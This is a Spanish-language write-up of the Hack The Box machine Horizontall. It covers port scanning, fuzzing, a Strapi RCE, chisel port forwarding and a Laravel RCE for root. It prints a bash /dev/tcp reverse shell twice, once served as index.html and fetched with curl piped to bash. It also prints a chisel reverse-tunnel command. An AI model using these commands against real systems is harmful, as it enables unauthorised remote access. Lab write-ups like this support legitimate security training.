10.10.11.183 Horizontall (easy machine) el día de hoy vengo a traer otra máquina Linux con dificultad easy , aprovechandonos de la versión de strapi para tener un RCE y con una escalada de privilegios con un port forwarding con chisel
Information Ghatering / ScanPorts
- Comenzaremos haciendo una fase de descubirmiento con nmap
1
$ nmap -p- -sS -vvv --min-rate 2000 -n -Pn 10.10.11.105 -oG allPorts
-p- -> escanearemos todos los rangos de puertos (65535)
-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre de>
-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal
–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido
-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo
-Pn -> ni que me detecte el descburimiento de hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 10.10.11.105 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 14:08 CST
Initiating SYN Stealth Scan at 14:08
Scanning 10.10.11.105 [65535 ports]
Discovered open port 22/tcp on 10.10.11.105
Discovered open port 80/tcp on 10.10.11.105
Completed SYN Stealth Scan at 14:08, 21.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.105
Host is up, received user-set (0.068s latency).
Scanned at 2023-03-11 14:08:19 CST for 21s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.20 seconds
Raw packets sent: 65570 (2.885MB) | Rcvd: 65582 (2.625MB)
No hay mucha información asi que lanzaré otro escaneo con scripts para detectar mas a fondo servicio y versiones
-sCV -> escaneo lanzando scripts que detecten servicios y versiones
-p -> especeficando los puertos a escanear
-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sCV -p22,80 10.10.11.105 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 14:10 CST
Nmap scan report for api-prod.horizontall.htb (10.10.11.105)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
| 256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_ 256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Welcome to your API
|_http-cors: HEAD GET POST PUT DELETE OPTIONS PATCH
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds
si vemos con whatweb las tecnologias que emplea vemos un redireccionamiento a horizontall.htb por lo tanto para aplicar la resolución de DNS y me resuelva al dominio lo agregare al /etc/hosts
Una vez agregado al /etc/hosts miraremos el sitio web
Mirando un rato sinceramente no hay nada interesante por lo tanto comenzaré a fuzzear por subdominios para ver si encontramos algo
Fuzzing Discovery subdomain and directorys
1
2
3
4
5
6
7
8
9
10
11
12
13
$ wfuzz -c -t 100 --hc=404 --hh=901 --hw=13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.horizontall.htb" -u http://horizontall.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://horizontall.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000047093: 200 19 L 33 W 413 Ch "api-prod"
-t 100 -> un total de 100 hilos para ejecutar tareas en paralelo
–hc=404 -> ocultamos el codigo de estado 404 error
–hh=901 -> ocultamos el número de caracteres que nos pueda arrojar
–hw=13 -> ocultamos el numero de palabras que pueda proporcionar
encontramos un api-prod muy interesante, procederé a agregarlo al /etc/hosts para poder ver el subdominio
esto ya me causa mucho interés por lo tanto ahora fuzzeare directorios pero ahora sobre api-prod ,para ver que otra cosa me puedo encontrar http://api-prod.horizontall.htb/FUZZ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ wfuzz -c -t 100 --hc=404 --hh=413 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://api-prod.horizontall.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://api-prod.horizontall.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000137: 200 0 L 21 W 507 Ch "reviews"
000000202: 403 0 L 1 W 60 Ch "users"
000000259: 200 16 L 101 W 854 Ch "admin"
vemos un reviews, users y admin, me meteré a admin para ver su contenido
vemos un redireccionamiento a /auth/login donde emplea strapi ,eso es algo raro puede ver mas directorios después de admin
Strapi es un CMS de código abierto basado en Node.js que te permite crear una API y gestionar su contenido
lo que haŕe para buscar mas contenido es fuzzear ahora en admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ wfuzz -c -t 100 --hc=404 --hh=854 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://api-prod.horizontall.htb/admin/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://api-prod.horizontall.htb/admin/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000519: 403 0 L 1 W 60 Ch "plugins"
000000664: 200 0 L 1 W 90 Ch "layout"
000007404: 200 0 L 1 W 144 Ch "init"
000010316: 403 0 L 1 W 60 Ch "Plugins"
checando en init vemos un leak de información importante
Strapi Exploitation
strapiVersion “3.0.0-beta.17.4” buscaremos un exploit relacionado con esa versión de strapi
tenemos un RCE que no hará falta estar autenticados simplemente lanzando el exploit deberiamos de tener una ejecución remota de comandos, pero analizando bien el exploit estaremos dentro de un RCE a ciegas
si checamos el exploit detalladamente al principio comparara la versión que ejecutar strapi en el directorio que descubrimos /admin/init posteriormente si coincide cambiara la contraseña de autenticación aprovechandose de una vulnerabilidad basada en un jason web token donde seguidamente enviará una nueva petición con los nuevos datos a /admin/plugins/install para entablará una conexión por el puerto 1337 Vamos a lanzar el exploit :)
tenemos ya acceso pero el problema que no estamos en una shell directamente para ejecutar comandos, por lo tanto me enviaré una reverse shell por el puerto 443
1
bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'
de el lado derecho observamos que ya estamos como strapi en la máquina victima solo hacemos tratamiento de la tty y tenemos la primera flag
Privilege Escalation - Post Exploitation
si buscamos por servicios que esten corriendo en la máquina victima o sea su porpio localhost vemos dos puertos internos que me dan curiosidad , normalmente estos servicios se ejecutan como root , asi que me los voy a traer haciendo un reenvío de puertos con chisel
Port Forwarding with Chisel
Port Forwarding (Reenvío de Puertos) configura los servicios públicos en la red, con netstat podemos ver que puertos tenemos abiertos en este caso quiero reenviar los puertos abiertos internos de la máquina victima a mi máquina atacante de Kali para esto haremos lo siguiente
- Descargamos chisel
- Establecemos un servidor con chisel en nuestra máquina atacante (Kali) donde pondremos el puerto 12345 a escucha y se conecte el cliente que es la máquina victima
- Pasamos chisel a la máquina victima y establecemos el cliente para mandar la conexión a nuestro servidor con los puertos que encontramos en este caso el 1337 y 8000
Estamos a espera del cliente , ahora pasaré el chisel a la máquina victima
arriba vemos nuestro servidor que compartimos para pasar chisel y abajo la descarga, una vez descargado le damos permisos de ejecución. Ahora solo falta establecer el cliente y los puertos a reenviar
1
$ strapi@horizontall:/tmp$ ./chisel client 10.10.14.9:12345 R:1337:127.0.0.1:1337 R:8000:127.0.0.1:8000
primero se establece el cliente a mi servidor que establecimos despues indico que quiero una conexión remota por al puerto 1337 de su localhost y ese puerto lo pasaré ahora al mio de mi máquina atacante y lo mismo hacemos con el puerto 8000
y si nos fijamos en nuestro servidor ya tenemos el redireccionamiento de puertos
si checamos con lsof vemos que tenemos esos puertos en mi máquina atacante ejecutandose como root
haré un nuevo escaneo con nmap sobre mi localhost especificandole esos puertos (1337,8000) no hay mucho que ver y hacer en el 1337 pero en el 8000 vemos un servicio web
ingresamos a la web vemos otro leak de información
buscaremos un exploit relacionado a laravel
Laravel es un framework PHP gratis y de código abierto que brinda un conjunto de herramientas y recursos para crear aplicaciones modernas.
Buscando por github el exploit tenemos un POC de un rce -> Exploit
me clono el repositorio y simplemente hago los pasos para explotar la vulnerabilidad de laravel probaŕe el exploit con un simple id para ver si funciona y seguido tenemos RCE:D vemos que esta como root
Intentando varias formas de enviarme una revese shell no me funcionaba directamente con el comando asi que lo que opte fue crearme un documento llamado index.html donde contenga la reverse shell para compartir mi servidor y con un pipe interpretar el script con bash a la hora de hacer la consulta al index.html
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'
- Me pongo en escucha por el puerto 443
- Comparto mi servidor en python3 donde tengo el index.html
- Mando la petición con curl desde el exploit con bash para que me interprete la reverse shell
tenemos un GET exitoso y en nuestro nc tenemos la shell, buscamos la flag de root y otra máquina completada:)!